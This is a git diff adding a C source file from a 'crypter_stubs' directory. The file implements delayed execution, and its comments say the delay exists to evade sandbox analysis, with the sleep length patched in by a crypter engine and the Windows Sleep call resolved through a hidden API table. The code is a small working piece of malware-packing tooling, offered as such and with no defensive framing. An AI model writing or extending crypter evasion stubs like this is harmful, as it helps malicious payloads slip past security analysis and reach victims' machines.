initial commit

crypter_stubs/evasion_sleep.c

@@ -0,0 +1,25 @@
+/**
+ * evasion_sleep.c — Delayed execution
+ *
+ * Sleeps for a configurable number of seconds before proceeding.
+ * Helps evade sandbox analysis that has a limited execution window.
+ * The sleep duration is patched in by the crypter engine.
+ */
+
+#include <windows.h>
+#include <stdint.h>
+
+#include "api_resolve.h"
+
+#ifdef EVASION_DELAYED_EXEC
+
+/* CRYPTER_SLEEP_SECONDS_PLACEHOLDER */
+static const uint32_t SLEEP_SECONDS = 0;
+
+void evasion_sleep_init(void) {
+    if (SLEEP_SECONDS > 0) {
+        g_api.pSleep(SLEEP_SECONDS * 1000);
+    }
+}
+
+#endif /* EVASION_DELAYED_EXEC */